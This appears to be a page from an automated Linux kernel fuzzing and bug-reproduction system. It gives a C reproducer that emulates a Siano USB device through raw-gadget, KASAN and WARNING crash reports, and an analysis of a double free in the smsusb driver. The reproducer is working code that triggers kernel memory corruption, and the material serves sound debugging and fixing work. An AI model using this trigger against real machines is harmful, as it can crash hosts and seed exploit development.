		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	char io_buf[sizeof(struct usb_raw_ep_io) + sizeof(*desc)];
	struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
	io->ep = ep;
	io->flags = 0;
	io->length = sizeof(*desc);
	memcpy(io->data, desc, sizeof(*desc));
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	uint32_t vbus = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
	/* CRITICAL: Interrupt attribute causes usb_submit_urb() to fail with -EINVAL */
	ep1_desc.bmAttributes = USB_ENDPOINT_XFER_INT; 
	ep1_desc.wMaxPacketSize = htole16(512);
	ep1_desc.bInterval = 1;

	ep2_desc.bLength = sizeof(ep2_desc);
	ep2_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep2_desc.bEndpointAddress = 0x02; // OUT
	ep2_desc.bmAttributes = USB_ENDPOINT_XFER_BULK;
	ep2_desc.wMaxPacketSize = htole16(512);
	ep2_desc.bInterval = 0;
}

static void *handle_ep0(void *arg)
{
	char event_buf[sizeof(struct usb_raw_event) + sizeof(struct usb_ctrlrequest)];
	struct usb_raw_event *event = (struct usb_raw_event *)event_buf;
	uint8_t buf[256];

	while (1) {
		event->length = sizeof(struct usb_ctrlrequest);
		if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) {
			break;
		}

		if (event->type == USB_RAW_EVENT_CONNECT) {
			printf("[+] Connected\n");
		} else if (event->type == USB_RAW_EVENT_CONTROL) {
			struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)&event->data;
			char io_buf[sizeof(struct usb_raw_ep_io) + 256];
			struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
			io->ep = 0;
			io->flags = 0;
			io->length = 0;

			if ((ctrl->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
				switch (ctrl->bRequest) {
				case USB_REQ_GET_DESCRIPTOR:
					if (ctrl->wValue >> 8 == USB_DT_DEVICE) {
						io->length = sizeof(dev_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, &dev_desc, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_CONFIG) {
						memcpy(buf, &conf_desc, sizeof(conf_desc));
						memcpy(buf + sizeof(conf_desc), &intf_desc, sizeof(intf_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc), &ep1_desc, sizeof(ep1_desc));
						memcpy(buf + sizeof(conf_desc) + sizeof(intf_desc) + sizeof(ep1_desc), &ep2_desc, sizeof(ep2_desc));
						
						io->length = sizeof(conf_desc) + sizeof(intf_desc) + 2 * sizeof(struct usb_endpoint_descriptor);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, buf, io->length);
					} else if (ctrl->wValue >> 8 == USB_DT_STRING) {
						uint8_t str_desc[] = {4, USB_DT_STRING, 0x09, 0x04};
						io->length = sizeof(str_desc);
						if (io->length > ctrl->wLength)
							io->length = ctrl->wLength;
						memcpy(io->data, str_desc, io->length);
					}
					break;
				case USB_REQ_SET_CONFIGURATION:
					usb_raw_ep_enable(1, &ep1_desc);
					usb_raw_ep_enable(2, &ep2_desc);
					usb_raw_vbus_draw();
					break;
				}
			}

			if (ctrl->bRequestType & USB_DIR_IN) {
				if (ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_WRITE failed: %s\n", strerror(errno));
				}
			} else {
				io->length = ctrl->wLength;
				if (io->length > 256)
					io->length = 256;
				if (ioctl(fd, USB_RAW_IOCTL_EP0_READ, io) < 0) {
					printf("[-] ioctl USB_RAW_IOCTL_EP0_READ failed: %s\n", strerror(errno));
				}
			}
		}
	}
	return NULL;
}

int main(void)
{
	setup_descriptors();
	usb_raw_init();
	usb_raw_run();
	
	pthread_t thread;
	if (pthread_create(&thread, NULL, handle_ep0, NULL) != 0) {
		printf("[-] pthread_create failed\n");
		exit(1);
	}

	// Wait for the bug to trigger
	sleep(5);
	
	return 0;
}
ReproducedBugTitle
WARNING in usb_free_urb
ReproducedCrashReport
smsusb:smsusb_start_streaming: smsusb_submit_urb(...) failed
smsusb:smsusb_init_device: smsusb_start_streaming(...) failed
------------[ cut here ]------------
!PageLargeKmalloc(page)
WARNING: mm/slub.c:6724 at free_large_kmalloc+0x97/0x110 mm/slub.c:6724, CPU#0: kworker/0:3/2237
Modules linked in:
CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: usb_hub_wq hub_event
RIP: 0010:free_large_kmalloc+0x97/0x110 mm/slub.c:6724
Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
Call Trace:
 <TASK>
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Crash report:
==================================================================
BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25 [inline]
BUG: KASAN: invalid-free in kref_put include/linux/kref.h:65 [inline]
BUG: KASAN: invalid-free in usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
Free of addr ffff888058ab1000 by task kworker/1:1/48

CPU: 1 UID: 0 PID: 48 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Workqueue: usb_hub_wq hub_event
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report_invalid_free+0xea/0x110 mm/kasan/report.c:557
 check_slab_allocation mm/kasan/common.c:-1 [inline]
 __kasan_slab_pre_free+0x104/0x120 mm/kasan/common.c:261
 kasan_slab_pre_free include/linux/kasan.h:199 [inline]
 slab_free_hook mm/slub.c:2693 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x173/0x650 mm/slub.c:6792
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __do_kmalloc_node mm/slub.c:5414 [inline]
 __kmalloc_node_track_caller_noprof+0x4b4/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Freed by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 kasan_save_free_info+0x40/0x50 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5c/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2748 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x1c5/0x650 mm/slub.c:6792
 skb_kfree_head net/core/skbuff.c:1083 [inline]
 skb_free_head net/core/skbuff.c:1095 [inline]
 skb_release_data+0x85e/0xab0 net/core/skbuff.c:1122
 skb_release_all net/core/skbuff.c:1197 [inline]
 __kfree_skb+0x5d/0x210 net/core/skbuff.c:1211
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:817 [inline]
 nsim_dev_trap_report_work+0x7ac/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

The buggy address belongs to the object at ffff888058ab0000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff888058ab0000, ffff888058ab1000)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x58ab0
head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000040(head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
raw: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000040 ffff88813ff12140 dead000000000100 dead000000000122
head: 0000000000000000 0000000000040004 00000000f5000000 0000000000000000
head: 00fff00000000003 fffffffffffffe01 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000008
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 3, migratetype Unmovable, gfp_mask 0xd2820(GFP_ATOMIC|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 3388, tgid 3388 (kworker/u8:12), ts 77776651868
 set_page_owner include/linux/page_owner.h:33 [inline]
 post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1871
 prep_new_page mm/page_alloc.c:1879 [inline]
 get_page_from_freelist+0x2209/0x2280 mm/page_alloc.c:3943
 __alloc_frozen_pages_noprof+0x217/0x5a0 mm/page_alloc.c:5436
 alloc_slab_page mm/slub.c:3347 [inline]
 allocate_slab+0x7d/0x620 mm/slub.c:3462
 new_slab mm/slub.c:3513 [inline]
 refill_objects+0x2d5/0x350 mm/slub.c:7410
 refill_sheaf mm/slub.c:2885 [inline]
 __pcs_replace_empty_main+0x2c8/0x6c0 mm/slub.c:4774
 alloc_from_pcs mm/slub.c:4850 [inline]
 slab_alloc_node mm/slub.c:4984 [inline]
 __do_kmalloc_node mm/slub.c:5413 [inline]
 __kmalloc_node_track_caller_noprof+0x548/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
page last free pid 48 tgid 48 ts 77606871666 stack trace:
 reset_page_owner include/linux/page_owner.h:26 [inline]
 __free_pages_prepare mm/page_alloc.c:1418 [inline]
 __free_pages_ok+0xb6c/0xc60 mm/page_alloc.c:1596
 smscore_unregister_device+0x48a/0x780 drivers/media/common/siano/smscoreapi.c:1228
 smsusb_term_device+0x1a0/0x3d0 drivers/media/usb/siano/smsusb.c:349
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250

Memory state around the buggy address:
 ffff888058ab0f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888058ab0f80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff888058ab1000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff888058ab1080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888058ab1100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
==================================================================

Trajectory: (Expand/Collapse All)
Seq Timestamp Type Name Duration
0/0 2026/09/04 09:42 flow repro-c
1h00m Results:
map[EquivalenceAnalysis:The reproducer successfully triggered the target bug. Although the crash signatures differ (the original report shows a `KASAN: invalid-free in usb_free_urb`, while the reproducer triggers a `WARNING: mm/slub.c:6724 at free_large_kmalloc`), they represent the exact same underlying root cause.

### Root Cause Analysis
1. During device initialization (`smsusb_init_device`), `smscore_register_device` allocates a large contiguous buffer (`common_buffer`) using `kzalloc`. Given `MAX_BUFFERS` (50) and `USB1_BUFFER_SIZE` (4096), this allocation is 204800 bytes, which is satisfied via the page allocator as a large kmalloc.
2. `smsusb_submit_urb` assigns interior pointers from this `common_buffer` to `urb->transfer_buffer` and incorrectly sets the `URB_FREE_BUFFER` flag.
3. If `usb_submit_urb` fails, the driver enters the error path and calls `smsusb_term_device`.
4. `smsusb_term_device` first calls `smscore_unregister_device`, which frees the entire `common_buffer` via `kfree()`.
5. Subsequently, `smsusb_term_device` iterates over the URBs and calls `usb_free_urb()`. Because `URB_FREE_BUFFER` is set, the USB core attempts to `kfree(urb->transfer_buffer)`.
6. This results in a second `kfree()` on an interior pointer of the already-freed `common_buffer`.

### Crash Signature Equivalence
- **Original syzbot report**: Between the first free of `common_buffer` and the second free of the interior pointer, the freed pages were reallocated by another subsystem (an `skb` allocation in `netdevsim`) as a `kmalloc-4k` SLAB page. When `usb_free_urb` called `kfree()`, the memory manager saw the page as a valid SLAB page and routed the free to `slab_free()`. KASAN intercepted this and correctly identified it as an `invalid-free` because the pointer was an interior pointer relative to the new SLAB objects.
- **Reproducer run**: The race window is small, and the freed pages were not reallocated as a SLAB page before the second free. When `usb_free_urb` calls `kfree()`, the memory manager sees it is not a SLAB page and routes it to `free_large_kmalloc()`. Since the page was already freed, the `PG_large_kmalloc` flag was cleared, triggering the `WARN_ON_ONCE(!PageLargeKmalloc(page))` in `free_large_kmalloc()`.

Both crashes are manifestations of the exact same double-free / invalid-free bug caused by the erroneous `URB_FREE_BUFFER` flag. OtherCrashReports:<nil> ReproC:#define _GNU_SOURCE
#include <endian.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/usb/raw_gadget.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
#include <errno.h>

#define UDC_NAME_LENGTH_MAX 128

static int fd;

static void usb_raw_init(void)
{
	fd = open("/dev/raw-gadget", O_RDWR);
	if (fd < 0) {
		printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno));
		exit(1);
	}

	DIR *dir = opendir("/sys/class/udc");
	if (!dir) {
		printf("[-] Failed to open /sys/class/udc: %s\n", strerror(errno));
		exit(1);
	}

	struct dirent *entry;
	char udc_name[UDC_NAME_LENGTH_MAX] = {0};
	while ((entry = readdir(dir)) != NULL) {
		if (entry->d_name[0] != '.') {
			strncpy(udc_name, entry->d_name, UDC_NAME_LENGTH_MAX - 1);
			break;
		}
	}
	closedir(dir);

	if (strlen(udc_name) == 0) {
		printf("[-] No UDC found in /sys/class/udc\n");
		exit(1);
	}
	printf("[+] Found UDC: %s\n", udc_name);

	struct usb_raw_init init;
	memset(&init, 0, sizeof(init));
	if (strstr(udc_name, "dummy") != NULL) {
		strncpy((char *)init.driver_name, "dummy_udc", UDC_NAME_LENGTH_MAX - 1);
	} else {
		strncpy((char *)init.driver_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	}
	strncpy((char *)init.device_name, udc_name, UDC_NAME_LENGTH_MAX - 1);
	init.speed = 3; // USB_SPEED_HIGH

	if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_INIT successful.\n");
}

static void usb_raw_run(void)
{
	if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno));
		exit(1);
	}
	printf("[+] USB_RAW_IOCTL_RUN successful.\n");
}

static void usb_raw_ep_enable(int ep, struct usb_endpoint_descriptor *desc)
{
	char io_buf[sizeof(struct usb_raw_ep_io) + sizeof(*desc)];
	struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf;
	io->ep = ep;
	io->flags = 0;
	io->length = sizeof(*desc);
	memcpy(io->data, desc, sizeof(*desc));
	if (ioctl(fd, USB_RAW_IOCTL_EP_ENABLE, io) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_EP_ENABLE failed: %s\n", strerror(errno));
	}
}

static void usb_raw_vbus_draw(void)
{
	uint32_t vbus = 200;
	if (ioctl(fd, USB_RAW_IOCTL_VBUS_DRAW, &vbus) < 0) {
		printf("[-] ioctl USB_RAW_IOCTL_VBUS_DRAW failed: %s\n", strerror(errno));
	}
}

struct usb_device_descriptor dev_desc;
struct usb_config_descriptor conf_desc;
struct usb_interface_descriptor intf_desc;
struct usb_endpoint_descriptor ep1_desc;
struct usb_endpoint_descriptor ep2_desc;

static void setup_descriptors(void)
{
	dev_desc.bLength = sizeof(dev_desc);
	dev_desc.bDescriptorType = USB_DT_DEVICE;
	dev_desc.bcdUSB = htole16(0x0200);
	dev_desc.bDeviceClass = USB_CLASS_VENDOR_SPEC;
	dev_desc.bDeviceSubClass = 0;
	dev_desc.bDeviceProtocol = 0;
	dev_desc.bMaxPacketSize0 = 64;
	/* Match SMS1XXX_BOARD_SIANO_STELLAR */
	dev_desc.idVendor = htole16(0x187f);
	dev_desc.idProduct = htole16(0x0100);
	dev_desc.bcdDevice = htole16(0x0100);
	dev_desc.iManufacturer = 0;
	dev_desc.iProduct = 0;
	dev_desc.iSerialNumber = 0;
	dev_desc.bNumConfigurations = 1;

	conf_desc.bLength = sizeof(conf_desc);
	conf_desc.bDescriptorType = USB_DT_CONFIG;
	conf_desc.wTotalLength = htole16(sizeof(conf_desc) +
					 sizeof(intf_desc) +
					 2 * sizeof(struct usb_endpoint_descriptor));
	conf_desc.bNumInterfaces = 1;
	conf_desc.bConfigurationValue = 1;
	conf_desc.iConfiguration = 0;
	conf_desc.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER;
	conf_desc.bMaxPower = 50;

	intf_desc.bLength = sizeof(intf_desc);
	intf_desc.bDescriptorType = USB_DT_INTERFACE;
	intf_desc.bInterfaceNumber = 0;
	intf_desc.bAlternateSetting = 0;
	intf_desc.bNumEndpoints = 2;
	intf_desc.bInterfaceClass = USB_CLASS_VENDOR_SPEC;
	intf_desc.bInterfaceSubClass = 0;
	intf_desc.bInterfaceProtocol = 0;
	intf_desc.iInterface = 0;

	ep1_desc.bLength = sizeof(ep1_desc);
	ep1_desc.bDescriptorType = USB_DT_ENDPOINT;
	ep1_desc.bEndpointAddress = 0x81; // IN
